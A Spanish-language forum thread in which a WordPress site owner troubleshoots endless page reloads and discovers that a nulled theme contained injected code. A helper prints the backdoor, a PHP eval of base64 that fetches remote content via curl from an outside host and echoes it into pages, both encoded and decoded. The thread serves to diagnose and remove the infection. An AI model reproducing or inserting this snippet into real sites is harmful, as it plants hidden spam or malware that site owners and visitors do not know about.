Problema de actualización constante en mi sitio web, ¿fui hackeado?

[alancito]

tengo un problema con mi web xxx de pronto se pone a recargar si hacer ninguna accion solo con entrar al final de la pagina sale este texto

--------------------------------

Error 521 Ray ID: 4597556fv56vf79da3 • 2018-09-13 03:01:44 UTC
Web server is down
You
Browser
Working
Chicago
Cloudflare
Working
malatyalimit.com
Host
Error
What happened?
The web server is not returning a connection. As a result, the web page is not displaying.

What can I do?
If you are a visitor of this website:
Please try again in a few minutes.

If you are the owner of this website:
Contact your hosting provider letting them know your web server is not responding. Additional troubleshooting information.

Cloudflare Ray ID: 45975ef891e79da3 • Your IP: 108.163.254.190 • Performance & security by Cloudflare

-----------------------------------

el detalle que con mis otras paginas si esta todo normal solo esta que esta como loco actualizandose sola como si apretara f5 y no se puede navegar en ella :ambivalence: que podria ser? un hackeo?

 

[Cicklow]

mmm segun veo tu web esta muerta... tienes bien los dns? tocaste algo de eso? desactiva cloudflare temporalmente en ese sitio y ve el error de tu web... o contacta al host a ver porque esta caido tu sitio

 

[alancito]

no tiene cloudflare solo hosting en banahosting y por lo de la web esta en linea solo que anda raro como apretando el f5 y se refresca recargando
nose talvez alguen a querido acer algunos cambios por eso lo del cloudflare porque no tengo eso

ya revise los DNS del hosting con los del dominio y esta todo bien no recuerdo acer ningun cambio solo hace unos dias ponerle exoclick nada mas

 

[Cicklow]

no tiene cloudflare solo hosting en banahosting y por lo de la web esta en linea solo que anda raro como apretando el f5 y se refresca recargando
nose talvez alguen a querido acer algunos cambios por eso lo del cloudflare porque no tengo eso

la pantalla de error que aparece es de cloudflare... si tienes .htaccess renombralo (desde ftp o desde cpanel), a ver si alguna clausula del mismo esta provocando el error.
Yo al sitio lo veo muerto...y desde los sitios de is down for me?...me marca igual

Error 521: El servidor web no funciona – Cloudflare Support
?Que debo hacer si aparece un error de puerta de enlace 502 o 504 en mi sitio? – Cloudflare Support

asi y todo contacta con bana, ellos te diran mejor que esta pasando

 

[alancito]

la pantalla de error que aparece es de cloudflare... si tienes .htaccess renombralo (desde ftp o desde cpanel), a ver si alguna clausula del mismo esta provocando el error.
Yo al sitio lo veo muerto...y desde los sitios de is down for me?...me marca igual

Error 521: El servidor web no funciona – Cloudflare Support
?Que debo hacer si aparece un error de puerta de enlace 502 o 504 en mi sitio? – Cloudflare Support

asi y todo contacta con bana, ellos te diran mejor que esta pasando

te paso por MP la url de la web para que la veas mejor :encouragement:
lo que entiendo por cloudflare es que es un servivio adicional cosa que ninca eh tenido una cuenta cloudflare para configurarlo a mi web

 

[Cicklow]

te paso por MP la url de la web para que la veas mejor :encouragement:
lo que entiendo por cloudflare es que es un servivio adicional cosa que ninca eh tenido una cuenta cloudflare para configurarlo a mi web

mmm tu posteaste la url en tu post inicial...

 

[alancito]

mmm tu posteaste la url en tu post inicial...

te refieres a esta? malatyalimit .com

esa no es mi web es el mensaje de error que sale en mi web :s

la url de mi web es otra

 

[Cicklow]

te refieres a esta? malatyalimit .com

esa no es mi web es el mensaje de error que sale en mi web :s

la url de mi web es otra

si es algo en el footer de tu web, esta queriendo acceder a ese sitio y esta muerto ese otro sitio...

 

[alancito]

mmmmm ahora que veo ese enlace malatyalimit .com es de escort y tambien me aparece un enlace de esos en mi otra web sin que yo sepa osea, alguen lo puso en mi otra web al final los post un elace similar a ese :ambivalence: en definitiva me an hakeado y en esta web que me esta fallando tambien me la quisieron poner y por eso salra el error, son unos hdp!

como puedo solucionar eso ayuda plis! sera un bot infiltrado nose :sorrow::sorrow:

- - - Actualizado - - -

si es algo en el footer de tu web, esta queriendo acceder a ese sitio y esta muerto ese otro sitio...

exacto como quiere poner ese enlace a mi wen pero esta muerta ese enlace y no carga bien

tengo utra web que al final de la pagina tambien esta oculto un enlace externo que da a una web de scorts y nose como lo pusieron porque tampoco puedo eliminarla desde el theme de configuracion

 

[Cicklow]

mmmmm ahora que veo ese enlace malatyalimit .com es de escort y tambien me aparece un enlace de esos en mi otra web sin que yo sepa osea, alguen lo puso en mi otra web al final los post un elace similar a ese :ambivalence: en definitiva me an hakeado y en esta web que me esta fallando tambien me la quisieron poner y por eso salra el error, son unos hdp!

como puedo solucionar eso ayuda plis! sera un bot infiltrado nose :sorrow::sorrow:

1- puede que sea por algun theme nulled o plugin
2- algun bug en alguno de los plugin o theme

edita el footer.php y mira a ver que tiene o el functions.php subelo a pastebin privado si no entiendes que podria ser

 

[alancito]

1- puede que sea por algun theme nulled o plugin
2- algun bug en alguno de los plugin o theme

edita el footer.php y mira a ver que tiene o el functions.php subelo a pastebin privado si no entiendes que podria ser

ya entre al footer.php y al functions.php no entiendo mucho esos codigos :s te los puedo pasar por MP con pastebin?

 

[Cicklow]

ya entre al footer.php y al functions.php no entiendo mucho esos codigos :s te los puedo pasar por MP con pastebin?

creame un user admin en tu wp y los miro... luego eliminas ese user

 

[Cicklow]

Bueno el theme tenia metido:

 <?php eval('?>'.base64_decode('PD9waHANCiRjaCA9IGN1cmxfaW5pdCgpOyAvLyANCmN1cmxfc2V0b3B0KCAkY2ggLCBDVVJMT1BUX1VSTCAsICJodHRwOi8vbWFsYXR5YWxpbWl0LmNvbS9saW5rMi5waHAiICk7IC8vIA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiR2ZXJpID0gY3VybF9leGVjKCRjaCk7IC8vIA0KY3VybF9jbG9zZSgkY2gpOyAvLyANCmVjaG8gJHZlcmk7IC8vICANCj8+')); ?>

el cual es:

 <?php
$ch = curl_init(); // 
curl_setopt( $ch , CURLOPT_URL , "http://malatyalimit.com/link2.php" ); // 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$veri = curl_exec($ch); // 
curl_close($ch); // 
echo $veri; //  
?>

y se le activo wordfence el cual detecto otros mas escondidos en los archivos de wp...
pues nada...mantener los plugin actualizados, no usar themes nulled...

 

[alancito]

tema resuelto, gracias a cicklow que elimino archivos infectados en el theme de mi web :encouragement: desde aca mi gradecimiento sincero 🙂 %100 confiable 😎

 

[misterqar]

Te recomiendo que instales y uses el plugin Wordfence Security para que limpie todos los archivos de Wordpress y los plugins en caso de que aún hayan algunos infectados.